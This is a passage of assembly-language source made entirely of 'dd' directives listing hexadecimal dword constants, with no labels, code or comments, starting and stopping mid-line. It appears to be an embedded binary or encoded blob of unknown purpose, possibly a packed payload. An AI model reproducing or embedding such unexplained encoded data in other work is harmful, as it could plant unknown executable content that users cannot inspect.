89909C44h, 24801288h, 91704878h, 44602268h, 44894C58h dd 34243C12h, 24912C48h, 0C441822h, 25FC8804h, 0E809E1D9h dd 0D424E012h, 0C091C848h, 0B044B822h, 12A089A8h, 48902498h dd 227C9184h, 646C4474h, 50125889h, 40484824h, 2C223491h dd 891C2444h, 2E081214h, 24F81011h, 0E444EC22h, 12D489DCh dd 48C424CCh, 22AC91B8h, 909C44A4h, 7C128889h, 68487024h dd 54226091h, 89404844h, 24301238h, 91204828h, 45102218h dd 0F823C208h, 8BE17423h, 44D80922h, 0BC89C4D0h, 5021B412h dd 0E8B34296h, 922A011h, 848C4498h, 70127889h, 60486824h dd 50225891h, 893C4844h, 24281234h, 91144820h, 2004220Ch dd 0F04422F8h, 12DC89E8h, 48C824D0h, 22B491BCh, 94A044ACh dd 84128C89h, 70487C24h, 5C226891h, 89485044h, 24381240h dd 91284830h, 44142220h, 0FC88040Ch, 22D9DD21h, 91E009C8h dd 44D022D8h, 0B489BCC4h, 0A024AC12h, 0A6A59848h, 6411908Ch dd 48800988h, 226C9178h, 545C4464h, 44124C89h, 30483824h dd 20222891h, 89101844h, 8D081708h, 0D2F920F8h, 8B7C112Fh dd 44CC0922h, 0B089BCC4h, 0A024A812h, 88919448h, 74447C22h dd 12608968h, 48502458h, 22409148h, 28304438h, 10121C89h dd 225C0824h, 441FF820h, 0DC89E4ECh, 0CC24D412h, 0BC91C448h dd 0AC44B422h, 129C89A4h, 488C2494h, 227C9184h, 646C4474h dd 54125C89h, 44484C24h, 30223891h, 891C2844h, 2E081210h dd 1EF81B11h, 959A4F1h, 24CC12D8h, 91BC48C4h, 44A422B0h dd 88899098h, 78248012h, 64916C48h, 50445C22h, 12408948h dd 482C2438h, 221C9124h, 40C4414h, 811DFC88h, 24EC12F4h dd 91D848E0h, 44C422CCh, 0AC89B4BCh, 9824A412h, 80918C48h dd 70447822h, 12608968h, 48502458h, 22409148h, 28304438h dd 18122089h, 8481024h, 0E91CFC8Dh, 0E4092CD2h, 0D412DC89h dd 0C048C824h, 0B022B891h, 89A0A844h, 24901298h, 917C4888h dd 44682270h, 4C895460h, 3C244412h, 24913048h, 1214897Fh dd 4604240Ch, 0E9E91BFCh, 45BE8817h, 0CC092CF2h, 0B812C489h dd 0A848B024h, 9822A091h, 89889044h, 24781280h, 9160486Ch dd 44502258h, 34893C48h, 20242812h, 10911848h, 0FC370822h dd 0B248E91Ah, 0D824E009h, 0C891D048h, 0B844C022h, 12A889B0h dd 489824A0h, 2284918Ch, 6874447Ch, 58126089h, 48485024h dd 38224091h, 89283044h, 24141220h, 8804480Ch, 0F01119FCh dd 0E044E822h, 12D089D8h, 48BC24C8h, 22AC91B4h, 949C44A4h dd 80128889h, 68487424h, 58226091h, 89485044h, 24381240h dd 91244830h, 4514221Ch, 0F822C20Ch, 48EC0418h, 22DC91E4h dd 0C4CC44D4h, 0B412BC89h, 0A048AC24h, 88229491h, 89788044h dd 2464126Ch, 9154485Ch, 4440224Ch, 20892C34h, 1091F817h dd 11E10822h, 0E1BA17F4h, 912FE245h, 5FE48B7Ch, 0C817F922h dd 2CF245BEh, 80898C09h, 68247412h, 54916048h, 3C444822h dd 122C8934h, 481C2424h, 220C9114h, 16FC3604h, 0E84409E1h dd 12D889E0h, 48C824D0h, 22B491C0h, 9CA444ACh, 8C129489h dd 7C488424h, 6C227491h, 895C6444h, 244C1254h, 913C4844h dd 44282230h, 0C891420h, 0FC230412h, 9F16415h, 91E448ECh dd 44D422DCh, 0BC89C4CCh, 0AC24B412h, 9C91A448h, 8C449422h dd 127C8984h, 486C2474h, 225C9164h, 444C4454h, 34123C89h dd 20482C24h, 0C221491h, 0FBFC0444h, 0E245F9BAh, 8B7C912Fh dd 0F9225FE4h, 45BEC817h, 7C912FF2h, 959E48Bh, 24781280h dd 9164486Ch, 4450225Ch, 34893C48h, 24242C12h, 10911C48h dd 11E10822h, 0F00213F8h, 0E048E824h, 0CC22D491h, 89BCC444h dd 24AC12B4h, 919848A0h, 44882290h, 70897880h, 60246812h dd 50915848h, 3C444822h, 12288934h, 48182420h, 70089110h dd 0D912F888h, 12E409F1h, 48D424DCh, 22C491CCh, 0A8B444BCh dd 9412A089h, 84488C24h, 74227C91h, 89646C44h, 2450125Ch dd 91404848h, 44302238h, 10891C24h, 112E0812h, 0E911F81Bh dd 44E80922h, 0CC89D8E0h, 0BC24C412h, 0AC91B448h, 9C44A422h dd 128C8994h, 487C2484h, 226C9174h, 50584464h, 40124889h dd 30483824h, 20222891h, 89101844h, 9F081708h, 48F977F8h dd 2FF245BCh, 0C0096491h, 0B091B848h, 0A044A822h, 128C8994h dd 487C2484h, 226C9174h, 545C4464h, 40124C89h, 2C483424h dd 1C222491h, 890C1444h, 0FFC1104h, 0EC24F402h, 0DC91E448h dd 0C444D022h, 12B489BCh, 48A424ACh, 22909198h, 747C4484h dd 5C126889h, 44485024h, 34223C91h, 89242C44h, 2414121Ch dd 8D04480Ch, 0D2E10EFCh, 8B7C112Fh, 44D40922h, 0BC89C4CCh dd 0AC24B412h, 9891A448h, 84448C22h, 12708978h, 48602468h dd 22509158h, 38404448h, 28123089h, 18482024h, 4220C91h dd 440DFC20h, 0E089E8F0h, 0CC24D412h, 0BC91C448h, 0A844B022h dd 129889A0h, 48882490h, 2274917Ch, 545C4468h, 44124C89h dd 34483C24h, 24222C91h, 89141C44h, 9E08170Ch, 0D8E977F8h dd 99145BCh, 44D022D8h, 0B489BCC8h, 0A024AC12h, 8C919448h dd 7C448422h, 12688974h, 42582460h, 8C42BFACh, 0C84411ECh dd 2C913809h, 1C442422h, 48FC8B14h, 0BF88D04h, 112FD2E9h dd 5FE48B7Ch, 0C009C822h, 0AC22B491h, 8998A044h, 24881290h dd 91784880h, 4464226Ch, 48895058h, 38244012h, 28913048h dd 14441C22h, 1104890Ch, 0EC020AF8h, 0D848E024h, 0C822D091h dd 89B4BC44h, 24A012ACh, 91904898h, 44802288h, 68897078h dd 58246012h, 48915048h, 38444022h, 12288930h, 48182420h dd 70089110h, 8109F888h, 24E812F0h, 91D448DCh, 44C422CCh dd 0A489ACB8h, 94249C12h, 84918C48h, 74447C22h, 1264896Ch dd 4850245Ch, 22409148h, 242C4438h, 14121C89h, 4480C24h dd 1108F888h, 44E422ECh, 0CC89D4DCh, 0B824C012h, 0A491AC48h dd 94449C22h, 1284898Ch, 48702478h, 22609168h, 48504458h dd 38124089h, 20482C24h, 10221891h, 7FC11FFh, 0BC22F402h dd 3ED85E33h, 92CF245h, 12CC89D4h, 48BC24C4h, 22AC91B4h dd 949C44A4h, 84128C89h, 6C487824h, 5C226491h, 894C5444h dd 243C1244h, 91244830h, 4414221Ch, 0F888040Ch, 12F08106h dd 48DC24E4h, 22CC91D4h, 0B4BC44C4h, 0A412AC89h, 90489824h dd 78228491h, 89687044h, 2454125Ch, 9144484Ch, 4434223Ch dd 1C89242Ch, 8241012h, 0F836225Ch, 4409E905h, 0D889E0E8h dd 0C824D012h, 0B891C048h, 0A844B022h, 129489A0h, 4884248Ch dd 2274917Ch, 5860446Ch, 48125089h, 38484024h, 24222C91h dd 89101844h, 88081708h, 0EC1104F8h, 0DC44E422h, 12C889D4h dd 48B424C0h, 22A491ACh, 8C94449Ch, 7C128489h, 6C487424h dd 58226091h, 89485044h, 24381240h, 91284830h, 44182220h dd 848B0810h, 0F103F846h, 0BE8817E9h, 0CC099145h, 0B444C022h dd 12A489ACh, 4894249Ch, 2284918Ch, 6C74447Ch, 5C126489h dd 4C485424h, 3C224491h, 892C3444h, 241C1224h, 910C4814h dd 2FC1004h, 0E844F422h, 12D889E0h, 48C024CCh, 22B091B8h dd 98A044A8h, 88129089h, 70487C24h, 60226891h, 89505844h dd 243C1244h, 912C4834h dd 44182220h, 848B0810h, 801F844h, 22E891F0h, 0CCD444E0h dd 0B812C089h, 0A448AC24h, 94229C91h, 89808C44h, 24701278h dd 915C4864h, 444C2254h, 28893440h, 18242012h, 0C78A456h dd 93311DCh, 0E1E186F8h, 0DC440916h, 12CC89D4h, 48B824C4h dd 22A091ACh, 80884494h, 6C127489h, 5C486424h, 4C225491h dd 893C4444h, 242C1234h, 911C4824h, 2C082214h, 19A0FFFCh dd 12EC09F4h, 48DC24E4h, 22CC91D4h, 0B0BC44C4h, 0A012A889h dd 90489824h, 7C228491h, 742CA6B5h, 96C6411h, 915C4864h dd 444C2254h, 2C893840h, 1C242412h, 4911048h, 0F1FEFC1Bh dd 0E00959A4h, 0D024D812h, 0BC91C448h, 0AC44B422h, 129C89A4h dd 488C2494h, 22789184h, 58644470h, 48125089h, 38484024h dd 28223091h, 89141C44h, 88081708h, 0F011FDF8h, 0E044E822h dd 12CC89D4h, 48BC24C4h, 22AC91B4h, 949C44A4h, 84128C89h dd 74487C24h, 64226C91h, 894C5844h, 24381240h, 91284830h dd 44182220h, 0FC890810h, 8BE975C7h, 0D80959CCh, 0C824D012h dd 0B891C048h, 0A844B022h, 1294899Ch, 4884248Ch, 2270917Ch dd 54604468h, 44124C89h, 30483C24h, 20222891h, 89101844h dd 0FBF41708h, 0EC91F408h, 0D844E422h, 12C889D0h, 48B424C0h dd 22A491ACh, 8C94449Ch, 78128089h, 64487024h, 54225C91h dd 89444C44h, 2430123Ch, 91204828h, 440C2218h, 0FA6EFC04h dd 8B7891E9h, 44DC0922h, 0C089C8D4h, 0B024B812h, 9C91A848h dd 8C449422h, 127C8984h, 48682470h, 2254915Ch, 3844444Ch dd 28123089h, 18482024h, 8221091h, 0F9F811E1h, 0E824F002h dd 0D891E048h, 0C444D022h, 12B089BCh, 48A024A8h, 228C9194h dd 70784480h, 5C126889h, 4C485424h, 3C224491h, 89243444h dd 24181220h, 0B8084810h, 0F86CF444h, 89DC09E1h, 24CC12D4h dd 91BC48C4h, 44B422B8h, 90899CA8h, 78248412h, 60916C48h dd 48445422h, 1234893Ch, 48282430h, 221C9124h, 0FC084414h dd 24FEF741h, 91E848ECh, 44D822E4h, 0C489C8D4h, 0B024B412h dd 0A091AC48h, 88449422h, 12808984h, 4870247Ch, 2260916Ch dd 3C484454h, 24123089h, 14482024h, 4220891h, 0F6F411E1h dd 0DC09E9B2h, 0C448D024h, 0AC22B891h, 899CA044h, 24941298h dd 91844888h, 446C2278h, 0B4886468h, 22E9DF84h, 915009C8h dd 4440224Ch, 3489383Ch, 24243012h, 10911448h, 11E10C22h dd 0E802F5F4h, 0D048DC24h, 0C022C491h, 89ACB044h, 249C12A0h dd 91844890h, 446C2278h, 50895C60h, 38244412h, 28913448h dd 10441C22h, 4E848B04h, 0E42230F4h, 89D4D844h, 24C412C8h dd 91B448B8h, 44AC22B0h, 9889A0A8h, 84249012h, 0C644844h dd 0C87C1180h, 74917809h, 6C447022h, 12608968h, 7258245Ch dd 484C2450h, 22409144h, 2C304438h, 24122889h, 10481824h dd 88700891h, 0FC83F3F8h, 4EAFF048h, 183EBD20h, 0E419BC91h dd 25D2D841h, 11C8596Ch, 0C80991D0h, 0B844C022h, 12A489B0h dd 48942498h, 228C9190h, 80844488h, 99A0F68Ah, 9178117Ch dd 0B4177409h, 5F88E32Dh, 93705492h, 68412284h, 4C7B6045h dd 0E41158E0h, 404CE48Bh, 38893C09h, 2C243412h, 1C912448h dd 8441422h, 89F26CFCh, 0E889EC09h, 0DC24E412h, 0CC91D448h dd 0B844C422h, 12A089ACh, 4898249Ch, 228C9194h, 747C4484h dd 5C126889h, 4C485024h, 44224891h, 89343C44h, 2424122Ch dd 0B80C4818h, 0F140FC44h, 12F489F8h, 48E424ECh, 22D491DCh dd 0B0BC44C8h, 0A812AC89h, 9C48A424h, 8C229491h, 89788444h dd 2460126Ch, 9158485Ch, 444C2254h, 34893C44h, 3354FD15h dd 221C1128h, 14441809h, 17088910h, 0F0F88808h, 89E4C439h dd 26CC12D8h, 0C4666954h, 4409BC11h, 0AC89B0B4h, 0A424A812h dd 94919C48h, 0A6BF8C22h, 251188E4h, 0EC512F44h, 4D9578BAh dd 518066F0h, 70097864h, 58916448h, 48445022h, 12388940h dd 48282430h, 22189120h, 0A6284A10h, 53A825ECh, 29081BC4h dd 0F8200986h, 0E812F7EFh, 0D848E024h, 0C822D091h, 89B8C044h dd 24A812B0h, 919848A0h, 44882290h, 70897880h, 60246812h dd 50915848h, 40444822h, 12308938h, 48202428h, 22109118h dd 0F811E108h, 24F002EEh, 91E048E8h, 44D022D8h, 0B889C0C8h dd 0A824B012h, 9891A048h, 88449022h, 12788980h, 52682470h dd 33DEB8A9h, 9225819h, 2999F150h, 9F44114Ch, 7125F409h dd 193C9930h, 2C099134h, 1C442422h, 17088914h, 0EDF48808h dd 0E822F011h, 54A17C69h, 19E499A8h, 0DC1191A0h, 0CC09D432h dd 0B848C424h, 0A022AC91h, 89909444h, 2E74118Ch, 84582C2Ah dd 97821CCh, 1460896Ch, 58484DAEh, 33C86D11h, 22441150h dd 0C9953C09h, 119B3814h, 53DC0934h, 3E2C34D3h, 345A2411h dd 782BAA10h, 0CBF812D6h, 711C333Ch, 14092218h, 6D641044h dd 0C311592Eh, 0ECF80910h, 6C94F422h, 0FE31849Bh, 9E46419h dd 91D048DCh, 44C022C4h, 0B489B8BCh, 0AC24B012h, 0A091A848h dd 90449822h, 127C8988h, 486C2470h, 22649168h, 4C54445Ch dd 38124489h, 28482C24h, 20222491h, 89101844h, 2408120Ch dd 0EBFC4404h, 0F091F408h, 12E8897Fh, 48D824E0h, 22CC91D0h dd 0BCC444C8h, 0AC12B489h, 0A448A824h, 9822A091h, 89889044h dd 24801284h, 9174487Ch, 4464226Ch, 58895C60h, 48245012h dd 3C914048h, 34443822h, 1224892Ch, 4818241Ch, 22109114h dd 0F811E108h, 24F402EAh, 91EC48F0h, 44DC22E4h, 0CC89D0D4h dd 0C024C812h, 0B091B848h, 0A844AC22h, 129C89A4h, 488C2494h dd 22849188h, 70784480h, 64126889h, 5C486024h, 4C225491h dd 89404444h, 2438123Ch, 91284830h, 441C2220h, 0C891418h dd 0FC220412h, 48F804E9h, 22F091F4h, 0D8E044E8h, 0D012D489h dd 0C448CC24h, 0B422BC91h, 89ACB044h, 24A012A8h, 91904898h dd 4488228Ch, 74897C84h, 11296C12h, 1199686Ch, 125C0964h dd 484C2454h, 223C9144h, 202C4434h, 8121489h, 0F810112Eh dd 0EFF022E8h, 0D824E012h, 0C891D048h, 0BC44C022h, 12AC89B4h dd 489C24A4h, 228C9194h, 747C4484h, 5D446A8Ah, 652C0BDh dd 3091001h, 35323431h, 10333633h, 0CF390C37h, 0BB610DDh dd 0FFFB3117h, 0DB50BFB7h, 1D216D17h, 3632C00Fh, 0DD343822h dd 847ABC10h, 626E6D08h, 0C548ED76h, 0BA33C532h, 73770A79h dd 0A3E1478h, 2C636465h, 7A617185h, 0CA183450h, 0BD6E1031h dd 636FF1BFh, 43ACD345h, 71D8F44Bh, 65E277E2h, 120846E3h dd 16410A83h, 1E3AA01Ch, 623056E5h, 0AA423283h, 3C88682Ch dd 8C84C48h, 8E790C33h, 0BD2C8B18h, 0CE080877h, 2D099A11h dd 80D0364h, 678433C2h, 19B2180Ah, 801A877h, 239C116Eh dd 95185538h, 43017619h, 0E18C7008h, 18ACC219h, 1AA7919h dd 6784081Bh, 1815CE08h, 50741965h, 23DC0801h, 0AB704638h dd 73192A18h, 0E1088601h, 8533C219h, 75191859h, 8370154h dd 9C11CE08h, 19CA182Ah, 8A10170h, 8C7046B8h, 191856E1h dd 0D016F55h, 8433C208h, 0B2180A67h, 1A86E19h, 9C116E08h dd 18553823h, 16D1995h, 8C700843h, 0ACC219E1h, 0AA6C1918h dd 84081B01h, 15CE0867h, 6B196518h, 0DC080150h, 70463823h dd 192A18ABh, 886016Ah, 33C219E1h, 19185985h, 37015469h dd 11CE0808h, 0CA182A9Ch dd 0A1016819h, 7046B808h, 1856E18Ch, 1675519h, 33C2080Dh dd 180A6784h, 0A86519B2h, 116E0801h, 5538239Ch, 66199418h dd 70084301h, 0A44E18Ch, 0F65A0D12h, 84081B02h, 36EF64h dd 1635619h, 21DC0C42h, 901215CEh, 2037E424h, 19B2180Ah dd 1601B262h, 700EE10Ch, 248712ACh, 55B82021h, 72198918h dd 92E28966h, 99DB64E7h, 0FAF839D7h, 68670966h, 0B4286B6Ah dd 0E410EE0Ch, 0C8080837h, 0A694A618h, 627602D4h, 89B6D6Eh dd 6D086784h, 1911B209h, 90E15F6Bh, 640ECF61h, 5D594F54h dd 4B204119h, 299452E1h, 0A14FC872h, 0C3A12FB5h, 0B1AFDC2h dd 9677046Ah, 7B0C8BB3h, 9A08A606h, 0C7760D4h, 69757974h dd 0C706F29h, 8E7106Eh, 9080D72h, 0EC2A0C35h, 3931CCECh dd 0B30CA650h, 0A1012178h, 0E7106E0Ch, 24C8120Ah, 5201372h dd 4B4F4E08h, 5C35C49h, 0E584553h, 0DFBE52BCh, 0A8569E54h dd 4A44781Ch, 4D992353h, 4F4E2CC6h, 0C406EADh, 60639F41h dd 4EFE59F6h, 1CD45953h, 75D26D61h, 41530843h, 4E55984Dh dd 6F20CF47h, 374C30B7h, 34143536h, 45A63233h, 703A005h dd 36DCE1B7h, 35119109h, 31E434C8h, 0AE4FA877h, 91A33C39h dd 0E437C838h, 39357236h, 8E331C34h, 8E7B3247h, 38475086h dd 1DF18E78h, 77C43BFEh, 0DE11EF88h, 7847BC23h, 7837478Eh dd 0E21DF18Eh, 8877FC3Bh, 23DE11EFh, 8E7847BCh, 8E783647h dd 3BE21DF1h, 0EFF877C4h, 0BC23DE11h, 478E7847h, 0F18E7835h dd 0C43BE21Dh, 0F1EF8877h, 7F3B23DEh, 4570344Dh, 8183508h dd 63426208h, 11722F66h, 68283DD1h, 3C4D083Dh, 1F5A0814h dd 681F1310h, 4D083F10h, 2408143Eh, 3650491Fh, 219D3B0Ah dd 0E4106E0Ch, 0C8080837h, 0F8DFA018h, 0DC4DFB30h, 3AD40EA3h dd 0A410A4F7h, 4B3F82CBh, 9D2E876Fh, 2FF412A7h, 0F4A93F28h dd 49F3F7BAh, 0B011D28h, 3887700Ch, 28299C43h, 200B31EDh dd 1218AA70h, 16013A80h, 700BE10Ch, 18A11CA7h, 700852B8h dd 9C1218AAh, 0C16013Ah, 87700EE1h, 0DA285338h, 0E1201631h dd 57191856h, 0C420136h, 10CE21DCh, 7B280AE7h, 0DC203142h dd 19CA182Ah, 0CE80135h, 0C239845Bh, 284FE11Ch, 5B203168h dd 19185985h, 0B015D34h, 3887700Ch, 28299C43h, 200B31EDh dd 2B18AB70h, 0A1013319h, 0E7106E0Ch, 3D857308h, 2031A128h dd 6518156Eh, 1743219h, 1CC20C2Dh, 0A7700EE1h, 2D31B428h dd 18ACC220h, 1AE3119h, 42B80C85h, 0CE1029DCh, 0B8480815h dd 5408B79Ch, 91384839h, 44352236h, 32893334h, 2A564A16h dd 16827001h, 460AE10Bh, 90244312h, 0A28DC20h, 42013057h dd 4041D80Ch, 2308CC21h, 0CA84240Bh, 64092503h, 3926725Eh dd 36F0A2Ah, 11096D10h, 968019A6h, 0CA1CE82Bh, 3D8D0839h dd 0A7CFAC2Dh, 0EB60CBAh, 0C03D109h, 11688B7Dh, 7481C34h dd 0D810A20h, 967C740h, 5B1F2111h, 5117D09h, 5E252423h dd 0CC05126h, 23DC08D0h, 96D4338h, 85B40911h, 6D697A09h dd 0EFEEC5AFh, 760C2710h, 797D7070h, 0B572F297h, 6E7904F8h dd 7AFA78E0h, 64D7EEE1h, 35FEB7C5h, 38BF184Dh, 62C402CBh dd 30D17275h, 0FFB7712h, 61CD65DBh, 88EC6808h, 70AD3F79h dd 0AF700EFDh, 55217A68h, 0ECF55DCAh, 4618DB3Ah, 28A42A68h dd 454B5CAFh, 0C70C5269h, 145D09F8h, 69108319h, 28F53618h dd 87C80CA8h, 20D7F627h, 168ADB0Ch, 0FDFBC6AEh, 9F4C7872h dd 66F4CA37h, 186DCDE3h, 69A895B7h, 67797650h, 9DA274F6h dd 65680C27h, 0BC89BB66h, 0F89D782Ch, 20D8AC4Ah, 5C745568h dd 44B66AF1h, 0F68A2084h, 0A36F8905h, 75700DBCh, 0A82F0862h dd 24689D1Eh, 63A453F9h, 190794ECh, 48640C0Ch, 0CA867B4h dd 68CF796Ch, 0F161AE6Dh, 3F54A245h, 69182426h, 9BFF3663h dd 2486E401h, 0E6F4DB09h, 12A5C4F6h, 0C3CA02B7h, 13668C35h dd 77653418h, 94CE1B09h, 846096Dh, 0FE5EB57Ah, 288D59F5h dd 87A6765h, 61161865h, 9B9C99FFh, 83D26B28h, 838ECE6Ah dd 2A1A6CBBh, 757D63ACh, 0CAC9C4B7h, 0BB6622Eh, 0C446C67h dd 4835EFF9h, 11EEDA68h, 2A9FAC5Ah, 0EAB8F1A5h, 0AA406624h dd 2065492Fh, 4D406824h, 5DAA0418h, 27F9A9ECh, 5E3276FCh dd 0A394B273h, 43626120h, 2A6A8496h, 0FB05AA2Ch, 9145EC6Dh dd 8BAD32A0h, 0B64DA18h, 3022C57Eh, 0CD0A4F7h, 26331848h dd 82097B73h, 83BFCE57h, 70A23514h, 18146614h, 327D60A3h dd 0B8996E68h, 0B69CF66Bh, 0C894436h, 0E7D1A068h, 0B20C38D0h dd 45431A61h, 0F34C1B45h, 38998E7Eh, 9A4194Dh, 52BF2A60h dd 6C50106Ch, 9736762h, 691B686Fh, 50EB5A35h, 0B445B3C4h dd 0AC268D14h, 0DA8A266h, 63BE878Eh, 990F979h, 0A4E44164h dd 314AB4DCh, 77246394h, 5209AFF1h, 5DF1B551h, 417992B3h dd 6EABB509h, 0A018356Ch, 66666C1Ch, 419E6209h, 64141272h dd 78346800h, 0A11F9B30h, 0B431100Ch, 78880A54h, 4D086953h dd 0A0302634h, 0A5C2A66Dh, 588D330Ch, 7A85EABFh, 2C353965h dd 887380Ch, 3270454Dh, 7808876Bh, 0B0635270h, 0C80C7842h dd 454D7038h, 0B73C2287h, 583131ECh, 534D1950h, 2C240990h dd 7995D862h, 46F19428h, 58384360h, 8E549204h, 49793EB1h dd 9B226ACAh, 75EC753Fh, 419B99FFh, 3025782Eh, 18645433h dd 9BC4B833h, 89A9734h, 30207D6Ah, 0D89E3071h, 5C550E4Bh dd 1ABA521Bh, 1443508Ch, 36222DF7h, 80D100Dh, 0FCD91AC2h dd 2896E34h, 0EBB111A6h, 0A4B0779Ch, 556C7539h, 62A54208h dd 2EF1F5C4h, 0B97B5EE8h, 0A41CC8C8h, 79A238E8h, 5D63C382h dd 548B08D6h, 4128184Ch, 0B1C5051Dh, 73081282h, 9B465D6Ah dd 0C76C19CAh, 0B6FCDCB9h, 0D90C8629h, 0EF6B3411h, 67084AE5h dd 0AB53BC18h, 0A3711C5Dh, 0F5ACC664h, 88761054h, 0A46EEC10h dd 8615210h, 1609F15Eh, 9C862E08h, 6DDA7764h, 0CCE30DC9h dd 83D7BCACh, 8686D94h, 8C80C78h, 66726B64h, 49616439h dd 8420C0Ah, 0A3A0686Ah, 3408A10Ch, 940824FBh, 0E9085DA1h dd 32D62D10h, 24275AB4h, 0A84948CAh, 10344AD3h, 1A1A04C4h dd 78108910h, 48F0B98Fh, 0C3DE4B24h, 4BC91824h, 0E4104911h dd 1D6511D9h, 11664C22h, 2094D26Ch, 28B265E4h, 349625DCh dd 3453088Ah, 3CA3AA34h, 85901490h, 5A79A465h, 828C708h dd 0A8D4824h, 2008796Bh, 34E2BDCEh, 76650822h, 33F9504Ch dd 86E2A1Ch, 0AED01084h, 605B5DCh, 8327964h, 7C1B1A69h dd 296299C7h, 0CD30082Ah, 73EE9E0Eh, 4C998E4h, 6DB57020h dd 0B376F2E3h, 72D729DCh, 340C2C08h, 0A7425B2h, 4B087021h dd 8A231DCh, 675D108Ch, 0C732975h, 0C06669Ah, 0A47A0A48h dd 936C8410h, 0BF769D38h, 0F1716BA8h, 3DDEBD7Ah, 0CAEF062h dd 0F90D088Ah, 4ABD2BD7h, 0B0A81845h, 0E161FA10h, 8040C5Dh dd 9AA8CC10h, 6F6F4110h, 1CEC42E3h, 0A5081968h, 82B085Fh dd 11D237AAh, 0B300FB1h, 0AD08A36Fh, 4824E2D4h, 905CB910h dd 40FF59CCh, 5E976D08h, 6C1132D8h, 80D236Ah, 755596CFh dd 0DEDCE210h, 0C01D8435h, 44087915h, 6D2D7310h, 0EB687C63h dd 294BB275h, 0C6A280Ch, 28D74BC9h, 51D47210h, 63E1486Ch dd 106F6033h, 5F7879B5h, 0ADFEE570h, 2C9BF511h, 0E064FEC5h dd 4889F3BFh, 9F0C9178h, 7461E4E1h, 88294FAh, 0C53E6308h dd 9C45EE29h, 9C0D8725h dd 1D42F5E2h, 97099C12h, 67F0C444h, 4FB8D7B9h, 6D193B50h dd 10096A10h, 0CE79F648h, 68DE6211h, 0F6727910h, 7008A468h dd 6F238665h, 3449A66Eh, 6A146116h, 912EE61h, 6FFD6B90h dd 1014C811h, 206B6514h, 0A028299Eh, 8F8E8393h, 8C80CEAh dd 0A311FE6Bh, 0FB492814h, 79630851h, 656930C2h, 0D415E18Eh dd 1F581E67h, 9B63D078h, 0D6066896h, 60EC495Ch, 72A30C84h dd 60080841h, 0DCB36E9Fh, 8890CA2h, 0F09AC667h, 67F06AA8h dd 2173A569h, 18616E08h, 4F65466Dh, 26088B11h, 6E12B466h dd 25681049h, 0D0D964B6h, 0A55418A1h, 0B47F33AAh, 4AB85A10h dd 35705012h, 4975508Ah, 0A8287372h, 0BBB86497h, 0C0B858Dh dd 78A16C23h, 69E29E20h, 1C2D735Bh, 953484C3h, 0D024A230h dd 4A529A14h, 100828E4h, 8440849h, 734D8549h, 6F700821h dd 546D19F6h, 0AB31218h, 3A08724Dh, 3467D2E5h, 5E94D444h dd 0B47C2958h, 0C2F46566h, 88D96FC8h, 6D4714C8h, 0A347914h dd 6E0865B3h, 6B3E9111h, 23403310h, 621E6B11h, 43B2ABA5h dd 0D970AAC0h, 33FDA5C8h, 98196523h, 0F4D9BF65h, 34621896h dd 0DB79E935h, 6374F810h, 0B9838468h, 44080ACFh, 0C2829472h dd 0C0D97A2Ah, 83E110B4h, 0A6117AEBh, 780AF510h, 5C610DF1h dd 8162071h, 533CB66Fh, 0C166484h, 496538CDh, 0CE50F1C2h dd 0C28F410h, 0C46E426Fh, 7977616Dh, 1041FE1Bh, 316009C4h dd 892A1A2h, 4BB82128h, 8860C86h, 0C54D5AB7h, 27776211h dd 297D8B34h, 0B664F272h, 618453ACh, 84C7069h, 4F67436Eh dd 70C79610h, 3372C8BCh, 0BF404C0Ch, 0F49E0C42h, 0C67DD611h dd 64470884h, 240DE151h, 8420A28h, 0F26FA265h, 0BA2FDC08h dd 0CA081314h, 0A61316Ch, 9CA06B21h, 0B4D098B8h, 10FAD60Ch dd 519308F5h, 8D014CCh, 0BFE510D3h, 8431446h, 0C4796311h dd 8776569h, 9379E8CFh, 78B0B372h, 0AA5EDE97h, 55707820h dd 5179746Eh, 0C906F4Dh, 375E08D1h, 74EA8FF8h, 0E71F4F18h dd 0C12C4BAh, 14B0082Dh, 62C5A310h, 1A726111h, 776FED48h dd 0A0F9C4ACh, 0FC8CA9F9h, 0F5CEF895h, 21720848h, 7B3D6563h dd 11D3F7B2h, 181584F1h, 80DECA1h, 7964100Ch, 0F3A28472h dd 79DAECC3h, 66554492h, 840C8C30h, 21647A08h, 0E628796Dh dd 0A47EB5A2h, 87C18CDh, 94CC109Ah, 0EBF36EF0h, 0E0241ACDh dd 10C7E84Ch, 6208656Bh, 66327566h, 0FD6DF0C9h, 0BDE35449h dd 6F853827h, 80767C9h, 27BC389Ah, 81C8869h, 90AB2068h dd 9E8959BCh, 4F40533Bh, 7840A211h, 513F2C91h, 699D2308h dd 0F1C56610h, 304975F5h, 109AE83Dh, 27F1624Ch, 8910688Ah dd 88766C17h, 0C704919h, 840CAC77h, 21DCBE28h, 34E92010h dd 0F5117974h, 682D2A48h, 24A92C09h, 1859BC40h, 6D6668C9h dd 0B46F10CAh, 59690BCFh, 6111B2C8h, 0F50B1092h, 5D10BD2Dh dd 721099F4h, 842795Eh, 7B309366h, 0B0D3BDA1h, 5E3C1021h dd 0D0A27412h, 10943490h, 47082668h, 11EED86Bh, 6EC76388h dd 6509341Ah, 0E1D03278h, 0DCF26DC1h, 80A5260h, 3BA7C9B8h dd 3574A56Eh, 0AAD4EB24h, 0DD690823h, 95186836h, 104C0D93h dd 4F1042CDh, 0F7893837h, 0C13C632h, 4BB4E853h, 0C043B5F8h dd 11FE106Eh, 9321DC79h, 77C31672h, 3636CF6Ch, 684A10F9h dd 5E9982C5h, 14120C09h, 0FAA49A65h, 3B0C91D9h, 0CF7C78A4h dd 14B68DF3h, 6F9CA608h, 68945F18h, 0A721DC08h, 6A08F088h dd 76126F8Ch, 0E3BE10C0h, 6C9E24A1h, 659108A9h, 8E610D7h dd 9C10662Ah, 7311CC03h, 896E4B8Eh, 8B10A446h, 0A664116Ch dd 79622328h, 6E65103Ch, 14CC3CDEh, 3176FE97h, 1A6EAA10h dd 43B74B08h, 62340C58h, 10085080h, 1244D497h, 0CA802708h dd 0EA651E08h, 0E5B08B18h, 78E80819h, 6E02F209h, 2AE12974h dd 0A1503579h, 8A10C78h, 894B46B8h, 6C0C1CD8h, 0A8021DE3h dd 8A08926Eh, 9320F589h, 8840C8Ch, 206E6923h, 6C608ABBh dd 3CCD9698h, 0F3612855h, 10B4404Dh, 0B310255Eh, 56EA4BF8h dd 74F5C419h, 1408520Ch, 8687497h, 0EC944814h, 9C866810h dd 89D82144h, 81447665h, 88822B97h, 934F4028h, 0B03572A1h dd 2D330C0Dh, 70428E49h, 776F1064h, 50D670AFh, 0EF939021h dd 51119836h, 5C399A67h, 32661899h, 254843C6h, 36AD5564h dd 77B9E711h, 7163126Eh, 1A103479h, 